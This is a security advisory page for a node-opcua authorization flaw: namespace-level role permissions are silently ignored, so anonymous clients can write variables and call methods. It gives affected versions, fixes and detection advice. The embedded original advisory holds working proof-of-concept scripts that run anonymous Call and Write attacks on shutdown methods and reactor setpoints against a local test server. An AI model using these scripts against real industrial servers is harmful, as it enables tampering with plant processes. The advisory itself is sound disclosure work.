CVE-2026-95860: node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
node-opcua servers can let an anonymous OPC UA client write variables and call methods even when the operator set a namespace-level policy with `setDefaultRolePermissions()`. The call succeeds but is ignored at runtime, and a null policy resolves to all permissions. Affects node-opcua, node-opcua-address-space and node-opcua-server from 2.42.0 up to but not including 2.180.0. Upgrade to 2.180.0.
Published Nov 10, 2026 · Analysis Nov 10, 2026
What an attacker can do
Three defects combine. In session_context.ts, getPermissionForRole(null) returns allPermissions for any role, including Anonymous. OPC 10000-3 section 4.8.3 requires default-deny. The enforcement path reads the DefaultRolePermissions variable node under Server/Namespaces, which is null for nodeset-loaded namespaces and absent for programmatic ones. And setDefaultRolePermissions() writes only to a private field in namespace_impl.ts, which enforcement never reads.
So an operator who locks a namespace down sees no error, and nothing is locked. Any node without its own RolePermissions is open. The reporter's end-to-end test used an anonymous session over TCP: the client called a bound EmergencyShutdown method and wrote a ReactorSetpoint variable, both returning Good. In a plant or industrial setting, setpoints and shutdown methods are what attackers want.
The attacker needs network access to the OPC UA endpoint and a server that allows anonymous sessions. For nodeset-loaded namespaces such as DI, setNamespaceMetaData() throws "INamespace meta data already exists", so no configuration activates the policy. Servers that declared no policy at all are permissive by documented design; the advisory treats that as an insecure default, not this bypass.
Who is affected
node-opcua, node-opcua-address-space and node-opcua-server from 2.42.0 up to but not including 2.180.0. You are exposed if your server allows anonymous access, relies on namespace-level DefaultRolePermissions, and has nodes or methods with no per-node RolePermissions.
Not affected: nodes with explicit per-node permissions, and programmatic namespaces where the operator calls both setDefaultRolePermissions() and setNamespaceMetaData(). Variables without CurrentWrite in their access level cannot be written, but methods can still be called.
npm ls node-opcua node-opcua-address-space node-opcua-servernode-opcua
- Ecosystem
- npm
- Affected
- >= 2.42.0, < 2.180.0
- Fixed in
- 2.180.0
- Check
npm ls node-opcua
node-opcua-address-space
- Ecosystem
- npm
- Affected
- >= 2.42.0, < 2.180.0
- Fixed in
- 2.180.0
- Check
npm ls node-opcua-address-space
node-opcua-server
- Ecosystem
- npm
- Affected
- >= 2.42.0, < 2.180.0
- Fixed in
- 2.180.0
- Check
npm ls node-opcua-server
How to fix it
Upgrade all three packages to 2.180.0.
npm install [email protected]The fix is in pull request 1580. The reporter's proposed changes were to fail closed so a null policy returns no permissions, to use the inherited role permissions that already read the namespace field, to make setDefaultRolePermissions() take effect without setNamespaceMetaData(), and to stop server_engine.ts resetting DefaultRolePermissions on every initialize(). Check the release notes for which of these shipped.
Until you upgrade, set RolePermissions on each sensitive node, set allowAnonymous: false, and for programmatic namespaces call setNamespaceMetaData(ns) after setDefaultRolePermissions().
How to tell if you were hit
Review OPC UA session logs for anonymous sessions that perform Write or Call requests, especially against setpoints or control methods. Any such request that returned Good on a server you believed was locked down shows the bypass.
Test your own server with an anonymous client: if a write or call to a node without per-node permissions returns Good instead of BadUserAccessDenied, you are affected. The advisory's PoC-B script does this against a local test server. Also check process data history for unexpected setpoint changes.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.
This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.
The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.
---
Affected configuration
This advisory covers two cases that are not equally severe:
- No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
- A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.
Everything below describes case 2 unless stated otherwise.
Root Cause Analysis
Bug 1 - getPermissionForRole(null) returns allPermissions (violates §4.8.3 default-deny)
File: packages/node-opcua-address-space/source/session_context.ts:151-153
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}When the applicable policy resolves to null, the function returns allPermissions (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: *"If they are not set the Server returns Bad_UserAccessDenied."*
Bug 2 - The namespace default resolves to null on the enforcement path
The runtime enforcement reads the DefaultRolePermissions / DefaultUserRolePermissions Variable nodes under Server/Namespaces/<ns>. These resolve to null in every reachable configuration:
- NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a `Value` (
null). - Programmatically-created namespaces have no `NamespaceMetadata` node under
Server/Namespaces, so the lookup returnsnull.
Additionally, server_engine.ts:947-957 rewrites these nodes to a Null-typed value on every initialize(), with no restore:
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}Note: the loaded value is already null in stock nodesets, so this reset only changes the value's dataType tag; it is not the sole cause, the namespace default is null regardless.
Bug 3 - Two incoherent enforcement paths
There are two separate and disconnected paths to resolve namespace-default permissions.
Path A (private field) - Namespace.setDefaultRolePermissions() writes the policy exclusively to a JavaScript private field in namespace_impl.ts:
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}This is the value read by local getters (e.g. BaseNodeImpl.getRolePermissions(inherited=true)).
Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the DefaultRolePermissions UAVariable node instead of the private field (session_context.ts):
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to null, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's setDefaultRolePermissions() field is never consulted. That null then triggers the fail-open (Bug 1).
*Measured:* with setDefaultRolePermissions([Operator]) applied, namespace.getDefaultRolePermissions() returns the policy while getApplicableRolePermissions() returns null.
Synchronization between the two paths only happens if the operator calls setNamespaceMetaData(), which binds the field to the node via bindVariable():
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);Without calling setNamespaceMetaData(), setDefaultRolePermissions() has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `"INamespace meta data already exists"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.
---
Steps to Reproduce
PoC-A - Address-space level (unit test, no network)
Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.tsimport { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});Output:
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passingPoC-B - End-to-end over TCP (programmatic namespace)
Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });Vulnerable output (node poc_b_e2e_rbac.js):
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)Control output (node poc_b_e2e_rbac.js --safe):
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)
Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });Output:
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)---
Impact
- Write arbitrary values to Variables (
CurrentWrite) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters. - Call bound Methods. Methods have no AccessLevel second gate;
executabledefaults totruefor bound methods (ua_method_impl.ts). - Affects every Node relying on the namespace
DefaultRolePermissionsinheritance mandated by OPC 10000-3 §5.2.9. - Anonymous receives every
PermissionFlagbecausenullresolves toallPermissions. - Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored
A:Nas deployment-specific.
What is NOT affected
Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.
- Nodes with explicit per-node
RolePermissions(correctly enforced - PoC-A case A). - Programmatically-created namespaces where the operator calls both
setDefaultRolePermissions()andsetNamespaceMetaData()(PoC-B--safe). - Variables without
CurrentWritein AccessLevel (the Call vector still applies to Methods).
---
Proposed Fix
- Fail-closed -
getPermissionForRole(null)should returnPermissionFlag.None, notallPermissions(per §4.8.3 default-deny). - Coherent path -
getApplicableRolePermissions()should usenode.getRolePermissions(inherited=true), which already reads the namespace field correctly. - API safety -
setDefaultRolePermissions()should take effect on enforcement directly, without requiringsetNamespaceMetaData()(which throws on nodeset-loaded namespaces). - Hardening -
server_engine.ts:947-957should not unconditionally resetDefaultRolePermissions.
---
Spec Reference (verified verbatim against the official OPC Foundation reference)
- OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: *"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns
Bad_UserAccessDenied."* (default-deny, the behaviour Bug 1 inverts). - OPC 10000-3 §5.2.9 - RolePermissions: *"If not specified, the value of
DefaultRolePermissionsProperty from theNamespaceMetadataObject associated with the Node shall be used instead."* and *"If a Server supports Permissions for a particular Namespace it shall add theDefaultRolePermissionsProperty to theNamespaceMetadataObject for that Namespace."* - OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines
DefaultRolePermissions/DefaultUserRolePermissionsas Properties of theNamespaceMetadataObject).
Credited to Velluso, erossignon.
Questions
- Does disabling anonymous access fix this?
It removes the anonymous attack path, but the null-policy handling still grants all permissions to any role on unprotected nodes. Upgrade to 2.180.0 so authenticated low-privilege users are also covered.
- Is a server with no RolePermissions at all vulnerable?
The advisory calls that case permissive by documented design, an insecure default rather than the 9.1 bypass. The bypass is where a namespace policy was declared and silently ignored.
- Can I work around it in a NodeSet2-loaded namespace?
Not with the namespace default.
setNamespaceMetaData()throws for those namespaces, so the advisory says no configuration activates it. Set per-nodeRolePermissions, or upgrade.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
Coverage on the Beam blog
- AI OT Attack Planning: What the Financial Times and Dragos Report for Coding Agents
- CVE-2026-75521: Miren Runtime Forged Client-Cert Bypass on QUIC RPC
- CVE-2026-95860: node-opcua RBAC Fail-Open Lets Anonymous Write and Call
- CVE-2026-63470: fastapi-code-generator Call-Time RCE from OpenAPI Summary
- November 2026 Attacks Timeline: Every Breach, Exploit and AI-Run Intrusion, Day by Day
More npm vulnerabilities
All npm entriesCVE-2026-68904
node-opcua: TCP Socket Leak (FIN-WAIT-2) via keepalive reconnection cycle - Resource Exhaustion
high7.0Sep 16, 2026CVE-2026-54155
node-opcua missing nonce verification in UserNameIdentityToken authentication
high7.7No fixAug 20, 2026CVE-2026-54156
node-opcua: Unbounded nonce cache enables unauthenticated heap exhaustion DoS
high7.5Aug 20, 2026
